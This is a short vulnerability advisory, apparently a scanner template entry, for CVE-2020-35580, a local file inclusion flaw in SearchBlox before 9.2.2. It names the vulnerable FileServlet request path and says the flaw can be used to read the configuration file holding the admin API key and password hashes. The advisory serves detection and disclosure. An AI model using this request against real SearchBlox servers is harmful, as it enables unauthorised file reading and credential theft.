SearchBlox <9.2.2 - Local File Inclusion

ID: CVE-2020-35580

Severity: high

Author: daffainfo

Tags: cve2020,cve,lfi,searchblox

Description

Section titled “Description”

SearchBlox prior to version 9.2.2 is susceptible to local file inclusion in FileServlet that allows remote, unauthenticated users to read arbitrary files from the operating system via a /searchblox/servlet/FileServlet?col=url= request. Additionally, this may be used to read the contents of the SearchBlox configuration file (e.g., searchblox/WEB-INF/config.xml), which contains both the Super Admin API key and the base64 encoded SHA1 password hashes of other SearchBlox users.
